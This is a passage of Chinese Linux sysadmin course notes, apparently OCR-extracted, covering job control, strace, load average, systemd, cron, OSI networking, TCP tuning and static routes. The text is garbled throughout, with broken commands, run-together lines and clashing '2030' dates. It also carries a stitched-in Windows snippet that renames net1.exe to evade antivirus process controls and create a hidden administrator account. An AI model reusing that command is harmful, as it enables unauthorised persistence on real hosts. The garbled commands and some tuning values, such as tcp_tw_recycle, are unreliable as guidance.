1.为什么要学习进程前后台切换? 1)远程拷贝大文件,持续时间长的操作。为了防止中断,一般要放在后台运行。2)有些进程需要定时执行 3)需要一直运行(守护进程) 。 2)命令或操作 ctrl+z暂停当前进程。 bg放入后台。 fg拿回前台。 jobs查看当前队列,含ID。人工执行的程序,前后台切换 1)启动命令(默认放后台),加参数放到后台。 2) shell脚本放后台 kill %id 睡觉:sleep 1 #数字秒数,1秒 usleep 1000#微秒,1毫秒 方法2:使用&符号。 sleep 200 &#放后台运行,脚本或命令要全路径。 方法三【功能说明】 nohup命令可以将程序以忽略挂起信号的方式运行起来,被运行程序的输出信息将不会显示到终端。无论是否将nohup命令的输出重定向到终端,输出都将写入到当前目录的nohup.out文件中。 如果当前目录的nohup.out文件不可写,输出重定向到$HOME/nohup.out文件中 企业应用: nohup路径/shell脚本& 2.使用screen(推荐)screen作用:保持操作过的窗口连接状态。 ##管理员常用,下班了想回家,xshell有没有执行完的任务。 #1.安装 [ root@oldboy ~]# yum install screen -y#2.开启一个screen窗口,指定名称 [ root@oldboy ~]# screen -s sleep# 3.在screen窗口中执行任务即可 #4.平滑的退出screen,但不会终止screen中的任务。注意:如果使用exit才算真的关闭screen窗口 先按ctrl+a然后+d #5.查看当前正在运行的screen有哪些 [ root@oldboy ~] # screen -list There is a screen on: 22058.sleep ( Detached) 1 Socket in /var/ run/ screen/s-root. #6.此时需要进入昨晚的会话,进入正在运行的screen [ root@oldboy ~]#screen -r sleep [ root@oldboy ~]#screen -r 22058常用screen参数 screen -s yourname #新建一个叫yourname的session screen -ls #列出当前所有的session screen -r yourname #回到yourname这个session screen -d yourname #远程detach某个session screen -d -r yourname #结束当前session并回到yourname这个session
strace:跟踪进程的系统调用
参数选项 解释说明(带※的为重点) -c 统计每一系统调用的所执行的时间,次数和出错的次数等-d输出strace关于标准错误的调试信息 -f 跟踪目标进程,以及目标进程创建的所有子进程**★★★ -ff 如果提供-o filename,则所有进程的跟踪结果输出到相应的filename.pid中 ,pid是各进程的进程号 -i 输出系统调用的入口指针 -q 禁止输出关于脱离的消息 -r 输出每一个系统调用的相对时间 -t 在输出中的每一行前加上时间信息。例子:16:45:28 -tt 在输出中的每一行前加上时间信息,精确到微秒。例子:11:18:59.759546※★ -T 显示每次系统调用所花费的时间 -o filename 将strace的输出写入文件filename -p pid 指定要跟踪的进程pid,要同时跟踪多个pid,重复多次-p选项即可※ -s strsize 指定输出的字符串的最大长度,默认为32。文件名没有被视为字符串,默认全部输出 -u username 以username 的UID和GID执行被跟踪的命令系统调用:系统为应用程序提供的连接接口 -e expr输出过滤器,通过表达式,可以过滤掉你不想要的输出※
expr是一个表达式,用来控制如何跟踪:[qualifier=] [ ! ]value1[ , value2] . .. 说明: 1qualifier只能是trace, abbrev, verbose, raw,signal,read,write其中之一 2value是用来限定的符号或数字 3默认的qualifier是trace 4感叹号是否定符号 例如: -e open等价于-e trace=open,表示只跟踪open调用而-e trace !=open表示跟踪除了open以外的其他调用 常见选项: -e trace= [ set] 只跟踪指定的系统调用 -e trace=file 只跟踪和文件操作有关的系统调用***太☆ -e trace=process 只跟踪和进程控制有关的系统调用 -e trace=network 只跟踪和网络有关的系统调用 -e trace=signal 只跟踪和系统信号有关的系统调用 -e trace=desc 只跟踪和文件描述符有关的系统调用 -e trace=ipc 只跟踪和进程通讯有关的系统调用 -e abbrev=[set] 设定strace输出的系统调用的结果集 -e raw=[set] 将指定的系统调用的参数以十六进制显示 -e signal= [set] 指定跟踪的系统信号 -e read= [set] 输出从指定文件中读出的数据 -e write=[set] 输出写入到指定文件中的数据
进程执行:调用很多接口。。 为什么要跟踪进程的系统调用?查找进程执行异常的原因: PHP进程,JAVA进程,cpu%100,怎么排查? 进程执行:调用很多接口,接口如果异常,进程就会不正常。。。 范例9-36:跟踪系统调用统计。 strace不仅能追踪系统调用,使用选项-c还能将进程所有的系统调用做一个统计分析。 [ root@LNMP ~]#strace -c / application/ nginx/sbin/nginx #<==使用-c参数给进程所有的系统调用做一个统计分析。使用-o选项将strace的结果输出到文件中 strace -c -o tongji.log /application/nginx/sbin/nginx 小结: strace命令很适合程序僵尸、命令执行报错等的问题,如果从程序日志和系统日志中看不出问题出现的原因,就可以strace一下,也许有答案,不过也需要使用者有足够的耐心去查看输出!
案例1:给/etc/passwd加锁,然后用strace追踪。 [ root@oldboy ~]# chattr +i letc/passwd [ root@oldboy ~] # strace -f useradd abc发现问题:无法打开/etc/passwd open ("/etc/passwd",O_RDWKR/O_NOCTTY|O_NONBLOCK|O_NOFOLLOW) = -1 EACCES (Permission denied)write(2, "useradd: cannot open /etc/passwd" . ..,33useradd: cannot open /etc/passwd 企业案例:PHP进程CPU百分百了。请问你怎么解决? 1.pgrep进程,获取进程号 2.strace -p进程号发现问题。
企业生产经验:资源不够用:网站运行慢。1.没有给充足资源。 上线前压测,提前测出来承受能力。 提前预警。70%预警时间是(资源增加的最长周期+当下百分比<80%)。 2.开发代码上线,BUG异常消耗资源,导致100% strace, gdb.后知后觉。 3.公司推广部门(合作广告),大流量过来,广告页(CDN),(提前准备)。运维感受到的:服务器流量增加,压力增大,CPU ,内存,磁盘都压力很大了。 所有和网站相关的部门,开发,运维、运营、市场,客服(查询离线查询,和生产用户访问库,分开)对于外部用户,检测,根据趋势预判。
平均负载
top, w , uptime 平时只看负载就看uptime [ root@oldboy ~]# uptime 11:24:23 up 5 days,12:59,3 users, load average: 0.00,0.01,0.05 [ root@oldboy ~]#cat /proc/ loadavg 0.00,0.01,0.05 1/148 83035 1.什么是平均负载 平均负载不是单位时间内的CPU使用率吗? 衡量系统繁忙的一个综合指标,主要是CPU,Io的繁忙程度。工作中非常常用。 一个进程产生到持续运行要是占用很多资源;1.PID,2.内存。3.文件描述符。4.CPU,5.磁盘 平均负载是指单位时间内,系统处于可运行状态和不可中断状态的平均进程数,也就是平均活跃进程数。 系统平均负载被定义为在特定时间间隔内【CPt运行队列中的平均进程数】。如果一个进程满足以下条件则其就会位于运行队列中: CPU:打饭的阿姨。 进程:排队打饭的学生。
2颗,单颗4核CPU为例:
1分钟:10.00 #CPU处理进程1分钟的繁忙程度,忙碌1分钟。5分钟:8.01#CPU处理进程5分钟的繁忙程度,忙碌了5分钟
15分钟:5.05 #CPt处理进程15分钟的繁忙程度,忙碌持续15分钟,15分钟内平均值5.
uptime:故障恢复了。
1分钟: 1.00#CPU处理进程1分钟的繁忙程度,忙碌1分钟。5分钟:8.01 #CPtU处理进程5分钟的繁忙程度,忙碌了5分钟
15分钟:5.05 #CPu处理进程15分钟的繁忙程度,忙碌持续15分钟,15分钟内平均值5.
总结:15分钟负载值12,是高是低呢
负载数值/总的核心数=1#开始慢的临界点,实际上1*70%==关注的临界点。
12/8=1.2大于1就说明有问题。
负载不要超过5,是临界点。
2颗单颗4核CPU,共8核,负载就是8*70%=5左右。需要关注负载的值:总的核心数*70%=关注的点
系统服务管理
Linux运行级别
就是Linux系统启动时处于不同状态标识的集合。 例如:文本模式、图形模式、重启模式、关机模式都会对应不同的运行级别,这个运行级别对于centos7之前的具体标识体现为0-6之间的数字。 Init运行级别(C7 以前) Systemd目标/名称(CentOS7) 作用说明 0 runlevel0.target/poweroff.target 关机模式 1 runlevel1.target/rescue.target 单用户模式 2 runlevel2.target/multi-user.target 带NFS多用户模式 3 runlevel3.target/multi-user.target 文本模式 4 runlevel4.target/multi-user.target 还没有被使用 5 runlevel5.target/graphical.target 图形模式 6 runlevel6.target/reboot.target 重启模式
linux——systemd
1.什么是systemd ? Systemd (System Daemon)是CentoS7系统中的系统管理守护进程、工具和库的集合,用于取代早期的init进程。Systemd的功能是用于集中管理和配置Linux系统。 systemd是CentoS7系统中启动的第一个进程((PID等于1),其他所有进程都是他的子进程。 .使用systemd的优势 1.Centos7实现开机并行启动,显著提高开机启动速度。。2.自动解决启动间的服务依赖关系。 3.服务的启动配置文件统一语法,管理起来更方便。 4.systemd较好的解决原有模式缺陷,比如原有service不会关闭程序产生的子进程。5.从Debian9、Centos7、Ubunut16等系统开始,都开始使用systemd来管理服务。6.Centos7服务的启动与停止不在使用脚本管理服务I也就是/etc/init.d下不在有脚本。 systemd管理服务相关命令 systemctl管理服务的启动、重启、停止、重载、查看状态等常用命令 systemctl命令 作用 systemctl start crond.service 启动服务 systemctl stop crond.service 停止服务 systemctl restart crond.service 重启服务 systemctl reload crond.service 重新加载配置 systemctl status crond.servre 查看服务运行状态 systemctl enable crond.service 开机自动启动 systemctl disable crond. service 开机不自动启动 systemctl list-unit-files 查看所有服务的开机自启动状态 systemctl is-enabled crond.service 查看特定服务是否为开机自启动 systemctl daemon-reload 重新载入更改的systemd配置文件G:\云计算\2021老男孩Linux77期就业班\老
Linux系统定时任务
定时任务书写格式
*****cmd
第1段代表分钟
00~59 (00也可以是0)
第2段代表小时00~23
第3段代表日,天01~31第4段代表月份01~12第5段
代表星期,周几0~7(0和7都代表星期日)
crontab命令编辑的定时任务依赖服务 systemctl start crond systemctl enable crond 1)在编辑定时任务文件后,【无需重启定时任务】,crond会自动检查更改的变化。 2)当定时任务不能正确执行时,请查看定时任务日志文件(【/var/log/cron】)获取故障信息。
7.用户定时任务Cron的使用实例。 命令实例1: */1 * * * * /bin/sh /scripts/data.sh 8.实践定时任务 往/data/oldboy/test.log,每分钟追加一个"I study linux 'date`"。
步骤:
1)命令行实验命令
[ root@oldboy ~]#mkdir -p / data/oldboy/
[ root@oldboy ~]# echo "I study linux `date'" >>/data/oldboy/test.log[ root@oldboy ~]# echo "I study linux `date '" >>/data/oldboy/test.log[ root@oldboy ~]# cat /data/ oldboy/test.log
I study linux Sun Jun 912:45:14 cST 2030l study linux sun Jun 9 12:45:15 CST 20302) crontab -e
2)[root@oldboy ~]# crontab -l
### print char by yangyang for oldboy at 20300609
*** * * echo "I study linux 'date`" >>/data/oldboy/test.logtail -f /data/oldboy/test . log
考试题:每天晚上00点10分,打包备份如下文件(/etc/rc.local,/var/spool/cron/root,/etc/ hosts),使用2021-06-09时间作为压缩包文件名的一部分,备份到/backup目录下。
1)命令行命令搞定
mkdir /backup -p
tar zcf /backup/conf_$ (date +8F) .tar.gz /etc/rc.local /var/spool/cron/root /etc/hostsls /backup/
2)写定时任务
10 00 * * */bin/tar zcf /backup/conf_$(date +%F).tar.gz /etc/rc.d/rc.local /var/spool/cron/root /etc/hosts
10 00 * * */bin/tar zcfh /backup/conf_$(date +%F).tar.gz /etc/rc.local /var/spool/cron/root /etc/hosts
(加h /etc/rc.local 是软连接)
上述操作是有问题。定时任务书写要领:
1)定时任务后面执行的命令不能有百分号,如果非要有就转义\号
2)定时任务尽量用脚本(命令放到文件里)。脚本结尾加.sh
3)/bin/sh脚本全路径
4)&>/ dev / null或者>/ dev / null 2>&1
生产写定时任务步骤:
1)命令行命令搞定mkdir /backup -p
tar zcf /backup/conf_$(date +%F).tar.gz /etc/rc.local /var/spool/cron/root /etc/hosts
ls /backup/
2)放入文件
[root@oldboy scripts] # basename /server/scripts/tar.shtar.sh
[ root@oldboy scripts] # dirname /server/scripts/tar.sh/ server / scripts
[root@oldboy scripts]# cat tar.sh
/bin/tar zcf /backup/conf_$(date +$F).tar.gz /etc/rc.local /var/spool/cron/root /etc/hosts
3)命令行执行脚本
/bin/ sh / server / scripts/tar.sh
4)编辑定时任务
[ root@oldboy scripts] # crontab -ll head -2#####
10 00 * * */bin/sh /server/scripts/tar.sh &>/dev/null5)测试I
测试过程最好线下测试环境
/bin/sh / server/ scripts/tar.sh真正观察结果。调节每分钟
##遇到问题 / var/ log / cron看日志
常见企业故障案例:No space left on device 因果关系:No space left on device原因是因为inode满了,inode满了是因为定时任务配置不当,导致/var / spool/postfix/maildrop/小文件过多。 定时任务结尾不加&>/dev/null的以后就会导致/var/spool/clientmqueue满。 /var/spool/clientmqueue sendmail 邮件系统存放临时邮件的目录C6: /var/spool/postfix/maildrop/ posfix如果是centos6/7,则处理的路径为大量的小文件是【邮件】,邮件哪来的? 邮件系统服务没有开启的时候,同时定时任务不加&>/dev/null,定时任务的输出、报错,定时任务程序就会给root发邮件。导致inode满了。 [root@oldboy ~]# ls /var /spool/postfix/maildrop/lwc -l 466 防止大量小文件充满磁盘导致inode满的方法 1)尽量将cron任务里面的命令或脚本中的命令结尾加上>/dev/null 2>&1,或在写定时执行脚本时,把输出定向到指定文件中(适合所有的情况)。 2)当然也可以开启邮件服务,不过最好不做,因为邮件服务会带来额外的安全问题。 3)加定时清理任务,比如,将find /var/spool/clientmqueue/ -type f -mtime +30|xargs rm -f 放入定时任务,每周处理一次(Cento5适合),如果是centos6/7,则处理的路径为/var/spool/postfix/maildrop/。
Linux网络基础及网络管理
1.1什么是网络? 网络是由多台计算机(或手机等〉通过网络设备(交换机以及路由器)及网线(或无线连接起来,按照一定的规范规则彼此进行通信的系统总称。
1.网络基础知识发展历程 涉及到网络的一些名词概念,网线、路由与交换介绍。 2OSI七层模型的介绍 了解7层模型及彼此之间关系以及每个层次都涉及到哪些知识。 网络服务对应的端口★ 网际路由交换,封包、解包。 3.TCP/IP协议族的介绍 1)TCP/IP三次握手和四次挥手过程★ 2)TCP/IP十一种状态集的转变★ 4)网络地址类型介绍 包括IP地址分类,公网与私网地址说明,子网划分、VLAN概念 5)路由:静态路由(模拟静态路由配置,linuz静态路由route) 6)linux网络管理知识。
2.网络设备知识 oldboyedu. 2.1 网络传输介质及传输信号 osI七层模型的物理层: 【传输信号】 常见的有办公网【双绞线】、广域网传输【光纤线】,以及近距离无线信号(蓝牙或wifi) 当用双绞线介质传输电信号时,利用【高低电压的变化做为电信号进行传输】。电磁信号传输时,传出一个【高电压就可以表示为1】,传出如果是一个【低电压可以表示为o】,通过01信号的组合来表述网络设备间通讯的信息。 -----------0101010100301030---------------网线里传输 2.2 网卡设备 双绞线等介质本身不具有信号发送和接收功能,其主要作用只是负责传递信号信息, 【真正实现信号的发送和接收的设备称为网卡】 而网卡设备实质就是能够每秒钟【调制出或者接收到的信号个数】。 常见网卡设备为100M、1000M,这表示在一秒内可以调制或接收的信号个数。比如100M表示表示100Mbps=per second可以传递信号的个数,其中M表示一个数值单位,b表示bit (即1bit表示上面提到的1或0),具体换算公式如下所示: 大家常说的单位是MB是M字节,即B=byte,字节与比特的换算公式如下: 1B=8*bit,bit=1/8Byte; 因此【实际网速】=运营商承诺带宽/8;假设运营商提供了4带宽线路,4w带宽的实际网速=4000Kbps/8%512KBps。
MAC地址是48位的(6个字节),通常表示为12个16进制数,每2个16进制数之间用冒号隔开, 如08 :00:20:0A:8C: 6D就是一个MAc地址。其前3字节表示oUI (organizationally Unique Identifier)后3字节由厂家自行分配,称为扩展标识符,必须保证生产出的网卡MAc地址是唯一的地址。 MAc地址有什么用? 局域网计算机设备(网卡设备)的唯一地址,计算机通信是靠MAc地址的。网卡配置的是IP地址,找到MAc地址,然后进行通信。通过IP地址找到MAc地址的过程叫arp协议。 MAc地址与IP地址区别 IP地址和MAc地址相同点是它们【都是唯一的】,不同的特点主要有:1.MAC是网卡设备的唯一地址,出厂前即设置好了。 IP地址是计算机的唯一地址,随时可以给网卡配置。 2.长度不同。IP地址为32位,MAc地址为48位。I 3.IP地址应用于os1层次中的网络层, 而MAc地址应用在osI【数据链路层】。 4.数据链路层协议可以通过Mac地址使数据从一个节点传递到相同链路的另一个节点上,而网络层协议使数据可以从一个网络传递到另一个网络上 (ARP根据目的IP地址,找到中间节点的MAc地址,通过中间节点传送,从而最终到达目的网络) 2.3.3中继器(RP repeater) 中继器(RP repeater)是连接网络线路的设备, 用于两个网络节点之间物理信号放大和双向转发工作。 主要功能是通过对衰减的数据信号进行放大再转发,来扩大网络传输的距离。工作在oSI模型的物理层,主要用于扩展连接相同局域网网段的长度。 2.3.3 HUB(集线器) 由于网络规模的壮大,需要更多的计算机连接到网络中来,因此出现了HUB(集线器) 集线器(HUB)工作在【物理层】,是中继器的一种形式,是一种集中连接缆线的网络组件, 可以认为集线器是一个【多端口的中继器】,集线器能够提供多端口服务,主要功能是对接收到的信号进行再生整形放大 Hub并不记忆报文是由哪个MAC地址发出以及哪个MAC地址在Hub的哪个端口 Hub的特点:1.共享带宽。2.半双工工作模式 CSMA/CD技术负责线路仲裁 (Carrier Sense Multiple Access with Collision Detection 载波监听多路访问/冲突检测机制),凡是采取这样方式网络都可称为以太网。
路由器( router)
路由器(Router),是连接因特网中各局域网、广域网的设备,它会根据信道的情况自动选择和设定路由,以最佳路径,按前后顺序发送信号。路由器知识中会涉及到很多路由协议。 例如【osPF路由协议】,【RIP路由协议】,【BGP路由协议】,以及【静态路由(route)】。 路由器的使用地点:广域网、公网互联需要路由器,局域网出口需要路由器。路由器不转发私网地址。 路由器的实质是: 1.隔离广播域, 2.使两个广播域之间信息互通,也就是使两个不同的网段之间互相连通。linux系统下的路由器quagga(升级版)、zebra(可以替代几万块的路由器)
oSI网络模型概念* oSI的概念: open system interconnect开放系统互连参考模型,是由ISo(国际标准化组织)定义的灵活稳健和可互操作的【模型】,并不是协议,是用来了解和设计网络体系结构的。 osI模型的目的:框架化,SoA 规范不同系统的互联标准,使两个不同的系统能够较容易的通信,而不需要改变底层的硬件或软件的逻辑
OSI层次-――应用层(7层)
提供应用程序可以接入网络的接口,并根据程序的不同对应不同的接口协议提供应用程序间的通信接口。
常见应用层协议★
FTP 21\20 明文协议,文件传输协议,基于TCP
TFTP 69 简单文件传输协议,基于UDP
ssH 22 安全外壳协议,远程连接,加密
Telnet 23 明文协议,远程连接
SNMP 161/162 简单网络管理协议,基于UDP
SMTP 25 简单邮件传输协议,基于TCP
POP3 110 接收邮件端口
HTTP 80 超文本传输协议
HTTPS 443 超文本传输安全协议
DHCP 67/68/546 动态主机设置协议,C(67),s (68),546(V6)
远程桌面 3389
mysql 3306
oracle 1521
rsync 873
OSI层次---表示层
解码、加密、解密、压缩、解压缩
OSI层次---会话层
建立、管理和终止会话,tomcat session会话同步。
OSI层次---传输层
负责网络中端到端的连接,差错控制,核心协议TCP和UDP。
提供可靠的端到端的报文传输和差错控制,实质上就是负责建立连接的 TCP/UDP ,建立可靠和非可靠连接将上层的数据进行分段处理
OSI层次-――网络层
网络层的主要作用就是【路由和寻址】,主要接触到的是【IP协议】即IP地址Layer3网络层:对应设备有路由器
将分组数据从源端传到目的端。设备:路由器,三层交换机
OSI层次-――数据链路层
普通交换机。
OSI层次---物理层
逐个将bit进行传输的过程
OSI层模型在工作中作用
1)排查故障。
1.电脑上不了网( oldboyedu .com) 了。
物理层:看网线、网卡
数据链路层:看交换机、和网线连接。网络层:看路由器、看自己IP和网关配置。传输层:ISP提供商是否有问题。
应用层:你访问的网站是否正常(oldboyedu .com)
2.服务器没法提供服务了。
应用层:网站是否提供服务
应用层: wget/curl 访问,浏览器访问。
应用程序进程启动
端口开启
传输层:防火墙是否阻挡。网络层:IP,网关,
网关通不通(机房上联的服务器)。
大网(查看多个路由器之间是否正常)。
交换机:链路是否有问题。
网线:是否有问题。
2)你的zabbix服务器都监控什么业务指标?
OSI是一个框架;
物理层:磁盘、内存、CPu使用率,负载(ps top iostat uptime) ,raid数据链路层:交换机(配IP地址,SNMP协议),光衰。
网络层:IP地址
传输层:TCP UPD
应用层: URL,接口,端口,进程,业务层,验证码(开发配合)。
OIS网际互连
封装的过程,就是从上至下,将数据进行打包的过程,并且在每一层加上相应的字段进行标识。
Dos攻击的案例: SYN洪水攻击属于Dos攻击的一种,它利用rCP协议缺陷,通过发送大量的半连接请求,耗费cPu和内存资源。例2:#全/半连接队列 /proc/sys/net/ipv4/tcp_max_syn_backlog #syn连接池队列大小 [root@oldboy ~]# echo 8192 >/proc/sys/net/ipv4/tcp_max_syn_backlog[root@oldboy ~]# cat /proc/sys/net/ipv4/tcp_max_syn_backlog 8192 /proc/sys/net/core/somaxconn#完成连接队列大小,默认值128,建议调整大小为1024以上 [root@oldboy ~]#echo 512 >/proc/sys/net/core/somaxconn [root@oldboy ~]# cat /proc/sys/net/ core/ somaxconn 512 #Linux为了防止孤儿连接长时间存留在内核中的两个内核参数: #cat lproc/ sys/ net/ipv4/tcp _max__orphans 8192 #cat /proc/ sys/ net/ipv4/tcp_fin_timeout60 [ root@oldboy ~]# echo 2 > /proc/sys/net/ipv4/tcp_fin_timeout [root@oldboy ~]# cat /proc/sys/net/ipv4/tcp_fin_timeout 2 #TCP超时重传 异常网络状况下〈开始出现超时或丢包),TCP控制数据传输以保证其承诺的可靠服务TCP服务必须能够重传超时时间内未收到确认的TCP报文段。为此,TCP模块为每个TCP报文段都维护一个重传定时器,该定时器在TCP报文段第一次被发送时启动。如果超时时间内未收到接收方的应答,TCP模块将重传RCP报文段并重置定时器。至于下次重传的超时时间如何选择,以及最多执行多少次重传,就是TcP的重传策略
★★企业案例:TIME WAIT过多故障,如何解决?
LVv、squid、Nginx这些软件本身服务,能够承受大并发。
net.ipv4.tcp_fin_timeout = 2
net.ipv4.tcp_max_tw_buckets = 36000
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
完整
**编辑文件/etc/sysctl.conf,加入以下内容:然后执行sysctl -p让参数生效**。
net.ipv4.tcp_fin_timeout = 2
net.ipv4.tcp_max_orphans = 16384
net.ipv4.ip_local_port_range = 2000 65000
net.ipv4.tcp_max_syn_backlog = 16384
net.core.somaxconn = 16384
net.ipv4.tcp_max_tw_buckets = 36000
net.ipv4.tcp_syn_retries = 1
net.ipv4.tcp_synack_retries = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_keepalive_time = 600
net.ipv4.route.gc timeout = 100
net.core.netdev max backlog = 16384
IP地址分类与子网划分基础 1 什么是IP地址 32位二进制数字序列组成的数字序列 采用点将32位数字进行分割为4段,每段8位的二进制数,但二进制数不便于记忆,因此转换为10进制数显示,即点分十进制—个网络范围内,唯一标识一台主机。 2.3 IP地址的分类 简单的说,IP地址分5类,常见的地址是A、B、C类 A 1.0.0.o到126.0.0.o (0.0.0.0 和127.0.0.0保留) B 128.1.0.0到191.254.0.0 (128.0.0.0和191.255.0.0保留) C 192.0.1.0到223.255.254.0 (192.0.0.0和223.255.255.0保留) D 224.0.0.0到239.255.255.255 用于多点广播 E 240.0.0.0到255.255.255.254 保留(255.255.255.255用于广播) 注意: 1 )ABC三类分配给互联网用户所使用 2)D类型做为组播使用(keepalived, heartbeat多播) 3)E类型作为科学研究使用,进行保留 特殊地址: 127.0.0.1 ---表示回环地址,进行测试使用,验证本地的TCP协议簇安装的是否正确 0.0.0.0 ---主机位全为0的称为是网络地址 255.255.255.255 ---主机位全为1的称为是广播地址,即向所有人发出信息ABC三类分配给互联网用户所使用 D类型做为组播使用 E类型作为科学研究使用,进行保留 2.4私网地址和局域网地址★★ 在一个企业内部可以复用,局域网地址不能进入公网,路由器不转发。 数据包出网的时候路由器会用SNAT改变局域网的地址为路由器的公网地址。数据包回来的时候路由器会用DNAT把路由器的公网地址改变局域网的地址。 私网地址:下面的网络地址段就是分配给专用网络地址使用的。10.0.0.0/ 8(10.0.0.0到10.255.255.255) 172.16.0.0/12(172.16.0.0到172.31.255.255)192.168.0.0/16(192.168.0.0到192.168.255.255)169.254.0.0/16(169.254.0.0到169.254.255.255)★ 其他地址:用于IDc机房,办公室场景中ISP给我们分配的外网地址。 子网划分讲解 1为什么要划分子网? 会出现大量的局域网地址,同时向一个网关发送请求,引起网关设备的负载过高 会引起局域网内的大量广播数据传送,形成广播风暴 而且会非常的浪费地址空间,有可能只有两台主机或者一台,就分配一个c类地址 2什么是子网划分? 通过子网划分(通过子网掩码进行划分) 可以将一个大的局域网络进行切割为多个小的局域网,这样就解决了上面说的两个问题,而得到的新的局域网络就称为子网 3子网划分的作用? 将一个大的广播域划分成几个小的广播域环境 减少网关设备所承载的负载量 有效的避免ip地址的浪费,使一个大的地址空间更加弹性和更加灵活的进行分配 通过子网划分(通过子网掩码进行划分) 可以将一个大的局域网络进行切割为多个小的局域网,这样就解决了上面说的两个问题,而得到的新的局域网络就称为子网 2.网卡配置接口命名方式: CentoS6以前eth [0,1,2,...] CentoS7开始ens [ 33,34,35,...]#调整ens33为eth0方式 安装系统时:grep菜单内核后:biosdevname=0 , net.ifnames=0 安装系统后:修改内核文件,然后重新加载内核文件。 默认优先于使用DNS客户端配置 #修改/etc/hosts和DNS客户端优先级 /etc/nsswitch.conf hosts:files dns #给网卡配多个IP别名或辅助IP 将多个IP地址绑定到一个网卡上 每个IP绑定到独立逻辑网卡,即网络别名, 路由:为去某一个地方选择一个指定路径 路由功能:路由器,工作在网络层 路由功能分类: -主机路由:(不重要)-网络路由: --静态路由:route、ip 、route --动态路由ospf,rip (了解) -默认路由:默认网关 优先级:精度越高,优先级越高 重点静态路由:面试必考还是工作都很重要查看路由: route -n netstat -rn ip route show route命令 route ip route 添加: route add route add [-netl-hostldefault] target [netmask Nm] [gw GW] [ [dev] If]-host主机路由(两台主机之间配置) -net网络路由 default默认路由 -host主机路由(两台主机之间配置) 高可用对服务器之间早期用双绞线直连线。如果添加一个主机路由? 主机路由说明: 就是去往某个主机地址如何配置路由解答本地问题方法: /sbin/route add -host 192.168.2.13Idev eth2/ sbin/route add -host 202.81.11.91 dev lo keepalived或heartbeat高可用服务器对之间的使用单独网卡接心跳线通信就会用到以上主机路由。 [root@oldboy ~]# route add -host 10.0.0.130 dev eth0 default默认路由 添加删除默认网关:上网默认出口,所有路由都不匹配的情况下,最后才会选择默认路由。route del default gw 10.0.0.254 dev eth1 route add default gw 10.0.0.254 dev eth1添加/删除静态路由★ route add -net 10.0.1.0/24 gw 10.0.0.254 dev eth1route del -net 10.0.1.0/24
ip route #添加路由: ip route add TARGET via Gw dev IFACE src SOURCE_IPTARGET: 主机路由:IP 网络路由:NETWORK/MASK #添加网关: ip route add default via Gw dev IFACE ip route add default via 10.0.0.253 dev eth1ip route del default via 10.0.0.253 dev eth1 #删除路由: ip route del TARGET #显示路由: ip route show l list #清空路由表: ip route flush[dev IFACE] [via PREFIX]
如果要是永久生效,有如下几种方法:方法一:利用route-eth0文件
# vi /etc/sysconfig/network-scripts/route-eth0(C7) <-默认不存在此文件
#加入如下内容:
172.16.1.0/24 via 192.168.1.1
提示:写到配置里,重启网络服务和重启系统都会生效!
方法二:利用static-routes文件(C6)
# vi letc/ sysconfig / static-routes <-默认不存在此文件
#加入如下内容:
any net 172.16.1.0/24 gw 192.168.1.1
提示:写到配置里,重启网络服务和重启系统都会生效!
方法三:利用rc.local文件
# vi letc/ rc.local
#加入如下内容:
route add -net 172.16.1.0/24 gw 192.168.1.1
提示:写到配置里,重启系统会生效!
END
/etc/sysconfig/network-script/ifcfg-ens3
(5) Copy Net1.exe添加管理员用户
只能拷贝System32和SysWOW64目录下的net1.exe,net.exe不行哦,而且也只能绕过火绒安全软件和服务器安全狗的进程行为控制(net.exe、net1.exe),360卫士和金山毒霸会拦截。
copy c:\windows\system32\net1.exe C:\ProgramData\net1.txtC:\ProgramData\net1.txt user 90sec$ pass!@#!23 /add & C:\ProgramData\net1.txt localgroup administrators 90sec$ /add
打包压缩命令
tar ★
gzip **用数据库备份 -d解包
gzip
/etc/yum.repos.d/ *#打包
gzip -d * #解包,删除源文件。
zip
unzip **用于解包(zip包)
zcat
diff&&vimdiff 查看2个文件差异 [root@oldboy test]# diff oldboy.txt oldboy.txt.bak
SWAP是当物理内存不够时,临时将磁盘空间作为内存顶替使用 swap一但被使用,就会发现系统会越来越慢。PS:因为把磁盘空间模拟内存使用,所以就很慢。 搭建OpenStack时,内存可能出现全部占用,那么swap添加还是不添加 好处是不容易宕机 坏处是系统变慢
llinux服务器开机自启动服务优化
===systemctl保留开机启动的服务===
==============
rsyslog. service enabled
sshd.service enabled
sysstat.service enabled
==============处理方法:
systemctl list-unit-files | egrep -v "network.talrsysloglsshd\.isysstatlstatic"lawk '(print"systemctl disable "$1} ' | bash
systemctl list-unit-files | grep enabled
[root@oldboy ~]# systemctl list-unit-fileslgrep enabled
rsyslog.service (日志系统) enabled
sshd.service (远程连接sSHD) enabled
sysstat.service (性能监控) enabled
network (网络服务),使用chkconfig开启。
还要开启网络服务的开机自启动
systemctl enable netwrok ####
chkconfig network on #23454个级别上开机自启动,centos7以前的设置开机自启动的命令。
[ root@oldboy ~]# chkconfig --listlgrep network
networ 0:off1:off2 : on3 : on 4 : on5: on6:off
查看端口占用的两种命令:
1)netstat命令:Linux 中netstat命令用于显示网络状态。通过该命令可以让我们知道整个Linux系统中的网络情况。netstat命令详细解释

s